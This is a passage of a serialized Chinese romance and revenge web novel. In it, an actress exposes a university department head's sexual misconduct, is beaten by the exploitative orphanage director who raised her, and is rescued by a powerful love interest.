“报仇嘛,当女王多痛快。”她眯起眼,眼底燃起炽烈的火光。 手机屏幕亮着,热搜榜首赫然是她与墨澜联名的词条,粉丝们的声浪正化作洪流,碾碎马楠最后的防线。舆论的绞索已死死勒住他的脖颈,而她是掌控绳索的那只手。 马楠瘫跪在地,冷汗浸透衬衫,露出油腻的褶皱。 他试图抓住温栩栩的裤脚,却被她轻巧避开。 “求你了……我错了,我真的错了!”他的哭嚎声在空旷的办公室里回荡,如同丧家之犬的哀鸣。 但温栩栩只是冷眼旁观,仿佛看着一具正在腐烂的尸体。 她知道,此刻跪在她面前的人,正是曾将无数女孩逼入绝境的恶魔。而今,风水轮流转,审判的锤音已敲响。 “现在该怎么办?都知道了,所有人都要知道了……”马楠喃喃自语,眼神空洞如死鱼。 闻如毒瘤,将A大彻底拖入泥潭。 丢了工作?不,或许更糟……牢狱的铁门已在黑暗中向他敞开。 他浑身颤抖,尿液失禁的温热感爬过裤管,却浑然不觉。 温栩栩居高临下,靴尖轻点地面,仿佛在敲打死亡的节拍。 “马主任,你现在唯一能做的,就是想好怎么收拾网上的烂摊子。”她扬眉,语气如寒冰雕琢,“这系主任,你是当不成了。”她转身走向门口,步伐轻盈如踏在云上,每一步都碾碎马楠最后的希冀。 “等等!”马楠突然爆发出垂死挣扎的嚎叫,他挣扎着爬起,却因双腿瘫软再次摔倒,额头撞上桌角,鲜血蜿蜒而下,“温栩栩,只要你放过我,我……我把我所有资源都给你!我还能帮你封杀那些爆料的人!”他喘着粗气,如溺水者抓住最后一根稻草。 温栩栩停步,转身,嘴角勾起一抹残酷的弧度。“资源?” 她轻笑,指尖轻点手机屏幕,展示出早已准备好的证据链,“你觉得,现在还有谁能护住你?”她逼近他,高跟鞋的声响如催命符,“至于封杀爆料者……马主任,你难道还不明白?压得住一个,压得住千千万万吗?” 她的声音陡然转冷,如寒刃抵喉,“你的时代,结束了。” 马楠颓然瘫倒,鲜血混着冷汗在脸上蜿蜒,如地狱恶鬼的图腾。 他盯着温栩栩的身影,那抹纤细却如钢铁铸就的身影,马楠终于清楚了他招惹的从来不是一只温顺的绵羊,而是一头蛰伏的雌狮。 她曾隐忍,只为等待撕碎猎物的那一刻。 “记住,这不是报复。”温栩栩声音如冰锥刺入马楠的骨髓,“这是清算。” 马楠的脸涨得如熟透的猪肝,青筋在额头暴起,喉结上下滚动,仿佛有千言恶语在胸腔翻涌,却始终被死死压住。 他深知此刻骂人的后果,只能硬生生将咒骂憋回喉咙,咽下的却是苦涩与屈辱。 他深吸一口气,强挤出一抹扭曲的笑,声音沙哑如砂纸摩擦:“温栩栩,你搞垮我对你没有好处,你留着我,我能给你推资源、我能给你定制大女主的剧,我认识很多编剧大导,我还能推荐你上热门综艺!” 第1193章 谁能抵制这些诱惑 他伸出颤抖的手指,在空中虚点,仿佛那些虚幻的承诺已化作触手可及的黄金,“只要你现在重新开直播,你说我们是在开个玩笑,前面的都是在演戏!”他眼中闪过一丝贪婪的希冀,仿佛抓住最后一根稻草。 谁能抵制这些诱惑? 名利、资源、巅峰……多少人梦寐以求的阶梯,只需一句谎言便能唾手可得。 马楠紧盯着温栩栩,指尖微微发颤,仿佛已预见她动摇的瞬间。 然而,温栩栩却重重一呵,笑声如冰刃划破空气:“马主任没听过什么是‘物以类聚,人以群分’?” 她眉梢挑起,眼底讥讽如霜,“你这么卑鄙无耻,跟你结伴的人恐怕是一丘之貉,留你有什么用?引来一群豺狼虎豹,等着你的资本拯救你,让你继续在外报复我?” 她步步逼近,高跟鞋敲击地面的声响如催命符,每一步都碾碎马楠的侥幸,“再者,怎么会对我没有好处呢?” 她忽然停步,目光如炬,灼穿马楠的虚伪,“我取得了报复渣滓败类的快感,也帮了那些被你欺辱的学妹学姐……”她顿了顿,声音陡然冷冽,“我想她们也都像我一样,希望你快些进去呢。” 温栩栩明明面上带着笑,那笑意却如淬毒的蜜糖,甜腻却致命,眼底的讥讽与快意交织,如烈火灼烧马楠的尊严。 她悠然倚在桌边,指尖轻点手机屏幕,热搜榜上“#A大马楠丑闻#”的词条仍在疯涨,评论区如沸水翻滚。 她忽而抬头,望向马楠溃败的面孔,嗤笑出声:“有这个闲工夫跟我纠缠,不如自己亲自去找校长谈一谈?”她扬眉,语气如寒冰雕琢,“赶紧滚出A大,进去思过吧,垃圾。” 话音未落,办公室的门轰然被踹开! 李丽杰一脚踹破门扉,气势汹汹闯入,裹挟着暴风般的怒意。 她大步上前,抬手便是一耳光,狠狠抽向温栩栩的脸颊! 那耳光如惊雷炸响,温栩栩却未躲,硬生生受了这一下。 她侧过脸,嘴角渗出血丝,却满面嘲讽地凝视着二人。 王双双紧随其后,满脸幸灾乐祸,嘴角噙着恶毒的笑意,仿佛终于等到猎物坠入陷阱。 李丽杰是孤儿院的负责人,那可是把温栩栩养大的人呢。温栩栩怎么反抗? 她曾如幼兽般蜷缩在孤儿院的角落,是李丽杰将她领回,赐予她一口饭食、一片屋檐。 但如今,这所谓的“恩人”却成了压在她脊梁上的另一座大山。 马楠见状,如溺水者抓住浮木,不要脸面地爬向李丽杰,鼻涕眼泪糊了一脸,哭嚎着求饶:“李院长!您救救我!我算是给您做事的!现在温栩栩要废了我啊!”他膝行几步,死死攥住李丽杰的裤脚,仿佛那是最后一根救命稻草。 温栩栩的瞳孔骤然收缩,记忆如利刃划开时光,孤儿院昏暗的走廊里,李丽杰曾用“为你好”的名义,将她推入资本饭局的包厢,深夜的宿舍中,李丽杰冷着脸威胁:“不听话,就让你滚回街头。” 那些“养育之恩”的糖衣下,包裹的是权力与控制的毒芯。 此刻,她心里清楚,李丽杰与马楠,不过是同一根腐链上的蛆虫,一个掌控她的身,一个腐蚀她的魂。 李丽杰狠狠甩开马楠的手,转身直面温栩栩,目光如刀:“你怎么跟马主任说话!?” 李丽杰厉声呵斥,唾沫星子飞溅,“马主任是A大的栋梁,是你能污蔑的?还不快道歉!”他扬起的手再次悬在空中,作势又要落下。 温栩栩却挺直脊梁,血丝顺着嘴角蜿蜒而下,她却笑得愈发讥讽:“栋梁?李院长,您真会说话。” 她抹去嘴角的血,声音如淬毒的匕首,“一个逼迫学生重读挂科、潜规则女学生、勾结资本打压异己的‘栋梁’?”她逼近一步,目光灼穿李丽杰的虚伪,“还是说,您口中的‘栋梁’,不过是您和您的‘朋友们’豢养的狗?” 李丽杰的脸霎时煞白,手指颤抖着指向温栩栩,喉间挤出嘶哑的咒骂:“你……你这忘恩负义的东西!我养你这么多年,供你吃穿,送你上学,你就这么回报我!?” 李丽杰眼眶发红,仿佛受了莫大的委屈,演技之精湛,几乎令旁观者信以为真。 王双双在一旁添油加醋:“温栩栩,院长对你多好!你就是被娱乐圈的脏水染黑了心,连恩人都敢反咬!” 温栩栩的胸腔翻涌着怒火与悲凉。 她曾以为李丽杰是救命稻草,却发现自己不过是她操控的提线木偶。 她猛然掏出手机,调出一段录音,那是李丽杰在电话里与马楠的勾结:“楠哥,温栩栩那丫头倔得很,您多‘关照关照’她,让她知道不听话的后果……等您把她捏在手里,资源还不是咱们说了算?”录音播放的瞬间,李丽杰的瞳孔骤然放大,如遭雷击。 “养育之恩?”温栩栩冷笑,将手机掷向李丽杰,屏幕碎裂的声响如她心碎的回音,“原来您的‘恩’,就是用我换资源,用我喂你们的资本胃口?” 她指向马楠,指尖如剑,“你们狼狈为奸,把我当棋子,如今棋子要掀棋盘了,就恼羞成怒?”她眼底燃起炽烈的火光,那火光中,是积压多年的屈辱与觉醒的尊严,“李丽杰,马楠,你们以为我还会任你们宰割?” 马楠瘫倒在地,如烂泥般抽搐。 李丽杰则踉跄后退,撞翻椅凳,脸上血色尽褪。 马楠又一次冲到李丽杰面前要求他救自己帮自己。 他也算没求错人,这次确实是王双双要搞温栩栩找到他头上,算是这场事件的导火索。 李丽杰初到A大,对微博上沸反盈天的丑闻浑然不知,仍处在状况之外。 王双双心中暗道不好,慌忙掏出手机飞速搜索,指尖在屏幕上颤抖着滑动,当看到那些刺眼的热搜词条。 “#A大马楠潜规则实锤#” “#温栩栩曝系主任黑幕#” 看到这些王双双险些没站稳,后背瞬间沁出一层冷汗。 第1194章 迟早让你全都还回来 李丽杰此刻才知晓这惊天变故,被刺激得眼前发黑,胸口剧烈起伏,仿佛有股浊气哽在喉间,憋得她面红耳赤。 他虽挂着孤儿院院长的头衔,但干过的脏事儿却罄竹难书,说白了,这院长之名不过是块遮羞布。 平日里借着慈善拍卖会的幌子大肆敛财,背地里没少干那些见不得人的勾当,将孤儿院当作权钱交易的暗渠。 此刻,李丽杰确实被气红了眼,目赤欲裂,死死盯着温栩栩,喉咙里挤出嘶哑的怒吼:“现在立刻开直播道歉!说这都是你胡说的!” 彭脆脆见状,像只护雏的幼鸟般冲过去拦在温栩栩身前,嗓音带着急切与颤抖:“李院长,你怎么这么不讲理?分明是马主任要逼温栩栩重修!她只是为了自保!” 李丽杰的怒气如火山喷发,猛然爆发出来,他粗鲁地一把搡开彭脆脆,力道之大,让彭脆脆脚下一滑,踉跄着就要往地下摔去。 温栩栩眼疾手快,身形一闪,稳稳扶住彭脆脆,指尖触到她冰凉颤抖的手腕,心头骤然一紧。 她面色又冷了几分,方才还满不在乎,一副破罐子破摔任由打骂的姿态,此刻却开始冷笑嘲讽,声音如淬了冰的利刃:“过分了吧?九年义务教育就是教你作为男人对女性动粗的?还是你李院长‘以身作则’,专门教人如何仗势欺人?” “反了你了!”李丽杰被激得彻底失去理智,手臂抡起,又是一耳光狠狠摔到温栩栩脸上,那清脆的声响在寂静的办公室里格外刺耳。 温栩栩的脸颊瞬间泛起红肿,她却咬紧牙关,硬生生扛下这屈辱的一击,微微握紧的拳头里,指甲深深掐入掌心,仿佛要将那疼痛化作反击的力量。 李丽杰的唾沫星子飞溅,吼声震得窗玻璃微微发颤:“我养大了你!如果不是我收留你在孤儿院给你一口饭吃,你早就冻死饿死街头了!我打你那是天经地义,轮得到你这小贱蹄子来质疑我?” 温栩栩深吸一口气,强压下翻涌的情绪,喉间挤出一声冷笑,那笑声里裹着彻骨的寒意与不屑:“天经地义?李院长,您这‘天经地义’的标准,怕不是只适用于您自己吧?您所谓的‘养育之恩’,不过是把我当棋子,推给马主任这类豺狼虎豹,任你们榨干我的价值,好换取你们的资源与金钱!” 她顿了顿,目光如炬,灼穿李丽杰的虚伪面具,“您真以为,我还会像以前那样,任您打骂,任您摆布?” 彭脆脆快被气哭了,泪水在眼眶里打转,她攥着温栩栩的衣袖,声音哽咽:“她怎么可以这样……明明是她错了,还这么不讲道理……” 温栩栩轻轻拍了拍她的手背,给予无声的安抚。 她挺直脊梁,昂起头,直面李丽杰的怒火,眼底的嘲讽愈发浓烈,仿佛在看一场拙劣的闹剧:“李院长,您以为现在还能用‘养育之恩’来压我?您真当那些被你推入火坑的女孩都是哑巴?真当那些被你敛财的慈善拍卖会没人知道真相?” 她忽然压低声音,语气如寒冰雕琢,“您今天来,怕不是要救马楠,而是怕自己那堆见不得人的烂账被抖出来吧?” 此言一出,李丽杰的脸霎时煞白,如遭雷击,李丽杰踉跄后退两步,后背撞上桌角,却浑然不觉疼痛。 她没想到,温栩栩竟已看穿她与马楠的勾结,更没想到,那些被她视为把柄的秘密,此刻成了悬在头顶的达摩克利斯之剑。 王双双在一旁早已吓得魂飞魄散,她原想借李丽杰之手打压温栩栩,却没想到事态会失控至此。 她缩在角落,手指死死攥着手机,热搜仍在疯涨,评论区里声讨李丽杰的声浪已初见端倪。 她深知,一旦李丽杰的丑闻被引爆,自己作为推手也难逃牵连。 马楠瘫倒在地,如烂泥般抽搐,鼻涕眼泪糊了一脸,彻底沦为这场闹剧中最狼狈的配角。 李丽杰还在颤巍巍的开口,嘴里还是那几句话:“是我养大了你……是我养大的你!” 温栩栩垂着眸,唇角那抹讥嘲的笑还未隐去,只那双瞳眸没了亮光,仿佛被岁月磨去了最后一丝希冀。 在孤儿院的时候,她就知道这位院长唯利是图,像一只贪婪的蜘蛛,织着名为“慈善”的网,与形形色色的人结交。 孤儿院养大的孩子,在她眼中不过是待价而沽的商品。 那些面容清秀的,被她寻了“好去处”,送入权贵饭局、资本酒会,成为她交际网中的筹码。 说是养孤儿,不如说是养大这些孩子后挑选那些漂亮的来笼络人心。 而温栩栩之所以能逃过这命运,那是因为她性子太烈,被打被骂也不屈服,像一簇倔强的野火。 最后,她趁着夜色逃了出去,带着一身伤痕,也带着李丽杰犯罪的证据,那些记录着权钱交易的账本、被逼迫孩子的哭诉录音。李丽杰不想鱼死网破,只能任由温栩栩离开,而温栩栩也清楚自己没有人脉、没有地位、没有靠山,在娱乐圈这个名利场中没有任何话语权。 她只能将真相埋藏心底,如藏着一把淬毒的匕首,等待时机,终有一日要毁掉那个吞噬无数童年的噩梦孤儿院。 此刻,她并未去摸被打红的侧脸,仿佛那疼痛不过是旧伤添新痕。 她甚至轻笑出声,笑声都带着明显的讥嘲,如寒刃刮过李丽杰的耳膜:“打便打了,早料到了不是吗?” 她低语,声音轻得只有自己听见,却字字如钉,“只是打我的……都会让你都还回来。”她缓缓抬头,那双眼黯淡无光,却遍布冷意,如寒潭深处凝结的冰。她盯着李丽杰,仿佛在看一具即将腐朽的躯壳。 “现在立刻澄清跟马主任有关的事,然后回去!”李丽杰可不管她伤不伤心,命令的话张口就出,语气如鞭子抽在空气中。 温栩栩却笑了,唇角流着血,却笑得愈发张扬。 第1195章 污泥里那朵早被染黑的花 她长相是那种明艳的骄傲的,眉如远山黛,眼似秋水波,此刻唇角的血渍却带给她一种颓败的憔悴美,特别是笑起来,整个人都充满了糜醉的气息,仿佛从地狱里爬出的复仇女神,美得惊心动魄,却也冷得彻骨。 “晚了。”她声音轻飘飘的,却如千斤重锤砸在李丽杰的心头。 她顿了顿,眼底隐隐多了那么一丝激动的亮光,那是要将罪犯送进去的执念,却又隐带着泪意,仿佛积压多年的屈辱终于找到了宣泄的出口:“曾被马楠侵犯欺压骚扰的女学生已经站出来了。” 她深吸一口气,声音微微颤抖,却带着不容置疑的坚定,“马楠他完了,他这一辈子都别想再翻身!” “你这个贱人!”李丽杰被激得胸腔起伏,怒火如火山喷发。 李丽杰冲上去,手臂抡起,又是狠狠一耳光甩向温栩栩。 温栩栩不闪不躲,硬生生受了这一下,被打得一个踉跄,跌坐在地上。 她的头发散乱,脸颊红肿,嘴角的血迹蜿蜒而下,却仍仰头望着李丽杰,笑得愈发讽刺。 李丽杰气不过,一脚踩在她散落的文件上,那些正是马楠丑闻的证据材料。 李丽杰的鞋子碾过纸页,发出刺耳的摩擦声:“你以为就凭你,能斗得过马主任?他可是有背景的人!”李丽杰俯身,手指捏住温栩栩的下巴,用力抬起她的脸,仿佛要将她的傲骨捏碎,“别以为你逃出孤儿院就能翻天!你骨子里还是那个没人要的野种!” 温栩栩的下巴被捏得生疼,她却笑得愈发灿烂,眼底的冷意几乎要凝成实质:“李院长,您真以为马楠的背景能保他?” 她吐出一口带血的唾沫,声音冷得如冰锥,“那些站出来指控他的女学生,可不止A大的。他在其他学校犯下的恶行,早就被受害者录了音、拍了视频。现在热搜爆了,警方已经介入。您还想帮他……怕是要把自己搭进去。” 她忽然压低声音,如耳语般在李丽杰耳边道,“还有您,李院长。您利用孤儿院敛财、强迫孩子陪酒陪睡的证据,我可都备份好了。等马楠一倒,下一个就是你。” 李丽杰的脸霎时煞白,如遭雷击。 他踉跄后退两步,后背撞上桌角,却浑然不觉疼痛。 她没想到,温栩栩竟已筹备至此,更没想到那些被她视为把柄的秘密,此刻成了悬在头顶的达摩克利斯之剑。 她颤抖着掏出手机,想联系马楠,却发现信号已被屏蔽,办公室的窗户不知何时被拉上,隔绝了外界的光线,室内陷入一片昏暗的窒息。 “马主任,这件事我们会帮你解决的,温栩栩我就先带回去教训了!”李丽杰突然转身,对瘫倒在地的马楠嘶吼。她试图抓住温栩栩的手腕,想将她拖出办公室。温栩栩却猛然挣脱,翻身而起,动作敏捷如猎豹。她抄起桌上的台灯,狠狠砸向李丽杰的头顶!玻璃碎裂的声响刺耳,李丽杰惨叫一声,额头鲜血直流。 温栩栩趁机冲向门口,却被王双双死死拦住。 王双双满脸狰狞,指甲抠进温栩栩的胳膊,嘶声力竭:“别想跑!院长不会放过你的!” 温栩栩咬紧牙关,奋力挣扎。 彭脆脆从身后冲来,抱住王双双的腰,哭喊着:“放开她!你们这是在犯法!”李丽杰捂住流血的额头,目赤欲裂,咆哮着指挥马楠:“去按住她!把她手机抢过来,删掉所有证据!” 马楠如梦初醒,踉跄着扑向温栩栩。 温栩栩一脚踹向他的膝盖,马楠惨叫跪地。 李丽杰声音里面都带着狠意,显然此刻是恨毒了温栩栩。 “我现在就带你回去,教教你什么才是规矩!” 李丽杰挥挥手,几名彪形大汉已如凶猛的猎犬般冲进来,皮鞋踩地的声响在寂静的走廊里格外刺耳。 彭脆脆早已哭出声,泪水模糊了视线,她挣扎着试图扑向温栩栩,却被保镖的铁臂死死钳住。 “你们怎么不讲理的!凭什么抓人?放开!都放开!”她的哭喊声撕扯着空气,却如石沉大海,无人回应。 温栩栩不闪不躲,任由大汉们粗鲁地抓住她的双臂,她眼尾发红,两颊彻底肿起来,红肿的印记如烙印般刻在脸上,却仍倔强地昂着头,目光如淬毒的利刃刺向李丽杰。 “带我回去……说的真好听啊。”她喉咙里挤出嘶哑的声音,嘴角扯出一抹讥讽的笑,那笑里裹着彻骨的寒意,“你真以为我不知道你在这圈子里是做什么的吗?我一直接不到资源,一直处于冷藏状态,不就是你干的吗?你是想逼我无路可走,再出现然后把我送到其他人床上,再卖个好价钱对不对?” 她顿了顿,笑声愈发刺耳,“没想到这么多年了,你都没有放弃要利用我的心思。可笑,真可笑。” “你给我闭嘴!”李丽杰被戳中心事,恼羞成怒,声音尖利如刀。 李丽杰冲上前,一脚狠狠踹向温栩栩的小腹,力道之大,让温栩栩踉跄后退,撞上墙壁。 他像是没过瘾,又是狠狠一脚,踹向温栩栩的膝盖。 温栩栩痛得弯下腰,却仍咬紧牙关,不肯发出一声呻吟。李丽杰的唾沫星子飞溅,嘶吼声震得天花板嗡嗡作响:“你自己红不了那是你没本事!活该在娱乐圈里烂泥潭里挣扎!” 他说这话确实是心虚的,因为确实是他故意压着温栩栩不让温栩栩火起来。温栩栩被保镖按在墙上,身体因疼痛微微颤抖,却仍抬起头,眼底燃着恨意的火光:“对,我以前没本事,可我现在有本事了。” 她深吸一口气,声音如淬毒的冰锥,“等我彻彻底底站起来那天……”她一字一顿,每个字都裹着刻骨的恨,“你们一个也别想好过!” “贱人!”李丽杰被激得彻底失控,又是一脚踹向她,仿佛要将她碾入尘埃。 温栩栩被踹得滑倒在地,蜷缩成一团,可她仍死死盯着李丽杰,笑得愈发癫狂。 打,继续打,打的越严重越好。 她怕什么呢? 她就是污泥里那朵早被染黑的花,她本就什么都没有。 现在有了黎云笙……她就绝不会放过你们……你动她,她就要让你这一辈子都抬不起头! 第1196章 他的猫受伤了 “住手!住手啊!”彭脆脆哭喊着,声音已经嘶哑,却被保镖强行拉扯开,拖到角落。 温栩栩蜷在地上,额头抵着冰冷的地砖,呼吸急促而痛苦。耳边响起李丽杰的咒骂声,她闭着眼,指甲深深掐入掌心,将疼痛化作复仇的燃料。 就在这时,耳边突然传来一声凄厉的惨叫。 是李丽杰的声音! 温栩栩猛然睁开眼,只见李丽杰被一名黑衣男子反手扣住手腕,那男子动作利落如鹰,轻轻一拧,李丽杰便痛得跪倒在地,额头冷汗直冒。 温栩栩的瞳孔骤然收缩,心跳猛地加快。 头上突然蒙上一件外套,熟悉的清冷气息扑面而来,那气息如冰雪般凛冽,却又带着一丝令人安心的沉稳。 她本能地挣扎,却听见头顶传来低沉的男声:“别动,伤口会疼。”那声音如寒潭深处的玉石相击,冷冽却带着奇异的磁性。 身体逐渐传来阵阵刺痛,稍稍一动便牵扯到胸腹的青紫伤口。 她颤抖着拿掉盖住头的西装外套,入目的却是男人俊美的侧脸。 是……黎云笙…… 他穿着一身深灰色西装,剪裁精良的布料勾勒出他挺拔如松的身姿,冷白的肌肤在昏暗的灯光下泛着瓷器般的光泽。浓眉如墨,眉峰微挑,透着与生俱来的冷傲,黑眸深邃如潭,沉冷不带半分感情,此刻却正凝视着她,目光如刀刃般穿透她狼狈的表象。 他的下颌紧绷,线条冷硬如刀削,周身散发着令人窒息的压迫感,仿佛一座移动的冰山,却又在不经意间流露出一丝不易察觉的关切。 男人眸光晦深,眼眸冰冷却又潜藏几分血气。 黎云笙……他怎么会出现在这里? 温栩栩心惊片刻,匆忙低垂下头,手紧紧攥着那件带着他温度的西装外套。 指节因用力而泛白,布料在掌心皱成一团,仿佛攥住的是唯一的浮木。 她实在太狼狈了,脸颊肿得老高,膝盖青紫一片,唇角还带着淡淡的血丝。在他沉冷的视线中,她仿佛被剥去所有伪装,可怜至极,像一只被暴雨打湿翅膀的雏鸟,蜷缩在角落瑟瑟发抖。 黎云笙此刻只有一个念头。 他的猫受伤了,很严重的伤。 这个念头如电流般窜过黎云笙的神经,黑眸深了几分,瞳孔中暗潮翻涌。 温栩栩咬唇,左手撑着冰冷的地面,踉跄地想要从地上站起来。 脚踝处也隐隐传来钻心的疼痛感,她吃痛地蹙眉,却倔强地不肯呼痛,仿佛疼痛是她的勋章。她像一株被狂风摧折的野草,即便折断腰肢,也要挣扎着挺直脊梁。 “温栩栩。”男人嗓音低沉寒冷,仔细听的话,其实还带几分埋怨。 那声音如寒潭深处投下一颗石子,激起一圈圈涟漪。她不知所措地抬眸,透过男人那双漆黑的眸,隐隐能看到自己狼狈的身影,发丝凌乱如枯草,脸颊红肿如熟透的桃子,眼神却倔强如野火。 黎云笙望着他的小猫,她似乎觉得难堪,慌乱之中低下头,睫毛颤动如蝶翼。她的头发乱蓬蓬的,却让他想起雨夜受了伤却还炸起毛自保的小猫。 他觉得自己好像又错了,温栩栩不是高贵的波斯猫,她像一只不容易被驯服的小野猫,带着孤傲的刺,却藏着柔软的芯。 “栩栩。”黎云笙喉结滚动,声音放柔,仿佛怕惊碎了她脆弱的倔强。 他蹲下身,手指轻轻整理着她那一头乱发,动作温柔得如同触碰初春的嫩芽。 温栩栩不知道自己该是什么反应,要怎么继续演。 她好像也不需要怎么演,自小被忽略、没有体会过爱的人啊,旁人给予一丝微薄的温柔,都能让她们软化了整片心田。 她内心酸酸涩涩的,方才那些哭都是演出来的,是为了激怒李丽杰、是为了自保的伪装。 而此刻,面前这个男人,在她最需要帮助的时候如天神降临,温柔地抚过她的发梢,低声唤她的名字,这一切才让她鼻头发酸,眼眶真的发红。 黎云笙,怎么能这么好呢? 这个念头如藤蔓般缠绕上她的心,勒得她呼吸发颤。 她慢慢抬起头,睫毛上还挂着晶莹的泪珠,像晨露缀在蛛网上。她眼里泛起的泪意,眼泪啪嗒一声掉到地板上,溅开一朵小小的水花。 可那滴泪,却像一把刀子,扎在他心口最柔软的地方。她用这样一张脆弱无助的脸哭泣,仿佛能救她的只有他。 黎云笙的黑眸骤然收缩,瞳孔深处泛起涟漪。 黎云笙敛眉向她伸出手。 那只手修长白皙,骨节分明,仿佛玉石雕琢而成,每一处小关节都透着几分矜贵的性感。 指尖泛着冷白的光,指节线条如刀锋般利落,单是这只手,便让人觉出此人高冷、矜贵、不可侵犯。 可温栩栩望着这只手,心底却涌起一股奇异的笃定,这个人,是她的。 这个念头如春雷炸响,震得她心跳失衡,指尖无意识地缩了缩,声音低哑:“我的手……有点脏。”她垂眸看向自己沾满灰尘与冷汗的掌心,仿佛那污迹会玷污了眼前这方洁净。 这样干净的男人,像是一朵生长在雪山之巅的雪莲,仿佛一点脏污都染不得,而她,不过是泥潭里挣扎的野草。 黎云笙微微蹙眉,眉峰间凝起一丝不解与不悦。 身后站着的助理极有眼色,立刻递上包装精致的湿巾。 男人冲他挑挑眉,那挑眉的动作带着几分漫不经心的慵懒,却让助理心头一凛,愈发恭敬地垂下头。 温栩栩正欲将手放到他手心,可心底却像被猫爪挠过般发痒,某种渴望如野草疯长。 她终究没能忍住,忽然扑进他怀里,双臂紧紧环住他的腰身,仿佛抱住救命浮木。 真温暖啊。 鼻息间都是男人身上淡淡的沐浴乳清香,他是不用古龙水的,身上却总是萦绕着一种清爽好闻的气息,那气息里还夹杂着若有若无的古朴檀香,仿佛深山古寺里沉淀千年的宁静,让她此刻焦躁的心骤然稳下来。 这个男人在这里,仿佛天塌下来都不用担心啊。 第1197章 她的靠山 他伸手,指尖轻轻拂过她红肿的脸颊,动作轻得仿佛怕碰碎瓷器。 温栩栩浑身一颤,本能地想躲开,可身体却像被施了定身术,动弹不得。 他的指尖微凉,却带着奇异的温度,仿佛能抚平她脸上的伤痕。 她望着他,泪水在眼眶里打转,却始终不肯落下。她像一只被驯兽师靠近的小兽,既恐惧又渴望那抹温柔。 “疼吗?”黎云笙的声音低哑,仿佛被砂纸打磨过,带着粗粝的温柔。 他喉结滚动,目光灼灼地凝视着她,黑眸中翻涌着复杂的情绪。有心疼,有懊恼,还有一丝他自己都未曾察觉的慌乱。 温栩栩咬唇,泪水终于决堤,顺着脸颊滑落,濡湿了黎云笙的指尖。 她摇头,声音哽咽如幼兽呜咽:“不疼……”可那颤抖的尾音,却出卖了她所有的倔强。 黎云笙的心被狠狠揪住,他伸手,将她揽入怀中。 温栩栩僵了一瞬,随即放松了身体,靠在他胸膛上。 他的心跳声沉稳有力,透过西装布料传入她的耳膜,仿佛一首安魂曲。 她贪婪地汲取着他身上的温度,那温度仿佛能融化她心中多年的坚冰。 她依赖他吗?她不知道。她只知道,此刻他的怀抱是唯一的港湾。 “以后,不会让你再受伤。”黎云笙的声音在她头顶响起,低沉而坚定,仿佛誓言。 温栩栩的睫毛颤了颤,泪水浸湿了他的衬衫,留下一片潮湿的印记。 她闭上眼,将脸埋进他胸膛,深吸一口气。他的气息清冷,却带着一丝令人安心的沉木香。 她突然想起孤儿院的那些夜晚,冰冷的铁床,李丽杰的咒骂,其他孩子的哭泣。而此刻,她终于有了一个可以依靠的胸膛,一个能挡住风雨的怀抱。 他的手指轻轻拍着她的背,动作温柔如哄孩子入睡。温栩栩的泪水渐渐止住,呼吸逐渐平稳。 她知道自己不该依赖他,她知道娱乐圈的险恶,知道黎云笙或许也有自己的算计。 可此刻,她只想沉溺在这片刻的温柔里,像溺水的人抓住最后一根稻草。 她信任他吗?她不知道。她只知道,此刻,她愿意赌一把,赌他眼底的那抹心疼不是伪装,赌他胸膛的温度能融化她多年的悲凉。 温栩栩没忍住在他脖颈间蹭了蹭,温热的呼吸带着湿意,濡湿了他颈侧的衬衫布料。他呼吸一重,喉结不自觉地滚动,宽大的手掌却温柔地拍抚她瘦弱的后背,掌心仿佛带着安抚的魔力,一下一下,如安抚幼兽。 “闹什么。”他嗓音低沉,尾音带着几分无奈与纵容,指尖轻轻揉了揉她发顶。 温栩栩却像找到了最安全的巢穴,愈发黏人地往他怀里钻,声音带着哭腔,却又透着几分撒娇的意味:“委屈。” 说着,又在他胸口蹭了蹭,仿佛要将满腔的委屈都揉进他胸膛。 她像一只终于找到主人的小兽,浑身的刺都软了下来,只剩下一片柔软的依赖。 找到靠山一般,她忽然抬起头,指尖指着已经被助理带来的保镖制服的几人,李丽杰等人被按在地上,狼狈如丧家之犬,她眼底闪过一抹恨意,却很快被委屈取代:“他们都欺负我。” 黎云笙的黑眸骤然沉冷,周身气压瞬间降至冰点。 他低头凝视怀中的温栩栩,见她脸颊红肿未消,唇角血丝未干,眼底泪光闪烁,心头某处仿佛被尖针扎过。 他忽然收紧手臂,将她更紧地锢在怀里,仿佛要将她嵌入骨血。温栩栩被他突如其来的力道惊得一愣,却听见他声音如寒冰雕琢:“谁碰的你?”每个字都裹着彻骨的寒意,仿佛能冻结空气。 温栩栩抬眼,望着他下颌紧绷的冷硬线条,以及眼底翻涌的怒意,心头涌起一股暖流。 她伸出指尖,颤抖地指向李丽杰:“她……还有她带来的那些人。”声音带着哽咽,却奇异地透着一种被庇护后的安心。 黎云笙的目光如利刃般射向李丽杰,李丽杰浑身一震,冷汗瞬间浸透后背。 李丽杰与王双双早被保镖如铁钳般制服,为了防止几人大喊大叫,保镖们甚至用特制胶带捂住了她们的嘴。 此刻胶带刚被撕下,李丽杰早已被气蒙了,喉咙里爆发出“唔唔唔”的愤怒嘶吼,声音嘶哑如困兽,震得走廊墙壁嗡嗡作响。 黎云笙面色阴郁,下颌紧绷成冷硬的线条,周身气压低得仿佛能凝出冰碴。 他薄唇微启,声音如淬了毒的冰刃:“放开她们。”保镖们应声松开桎梏,李丽杰如弹簧般跳起来,头发凌乱如疯妇,指尖颤抖着指向黎云笙,破口大骂:“我们孤儿院的事关你这外人什么事!你算哪根葱敢插手!你怎么敢插手我们孤儿院的事!帝城李家你没听过吗!” 李丽杰嘶吼的声音在寂静的走廊里回荡,尖锐刺耳,仿佛要将空气撕碎。 保镖们交换眼神,嘴角泛起微妙带着几分鄙夷的冷笑。 他们跟随黎云笙多年,见过太多妄图攀附权贵的跳梁小丑,李丽杰此刻的猖狂在他们眼中不过是蝼蚁的垂死挣扎。 助理推了推鼻梁上的金丝眼镜,镜片折射出冷光,斯文的面容上挂着礼貌却疏离的微笑:“抱歉,李院长,我们的确没有听过帝城有什么李家。”他尾音轻挑,语气里带着不容置疑的笃定,仿佛“帝城李家”四个字不过是荒诞的笑谈。 王双双身体剧烈抖了抖,脑海中如闪电般闪过温栩栩说过的那些话,她说她这张脸能够找到帝城最有权有势的人当靠山。 那么眼前这个男人不就是……她的靠山吗? 王双双抓紧衣袖,布料被攥出褶皱,指节泛白如骨。 她吞咽了下口水,喉间发出干涩的声响,仿佛吞下了一把砂砾。 目光触及黎云笙的瞬间,她如坠冰窖,能感觉到黎云笙面上那层像是凝了冰的脸,冷峻如雕,毫无温度。 男人容颜可以说是最上乘,剑眉星目,轮廓如刀削斧凿,可此刻他心情并不好。 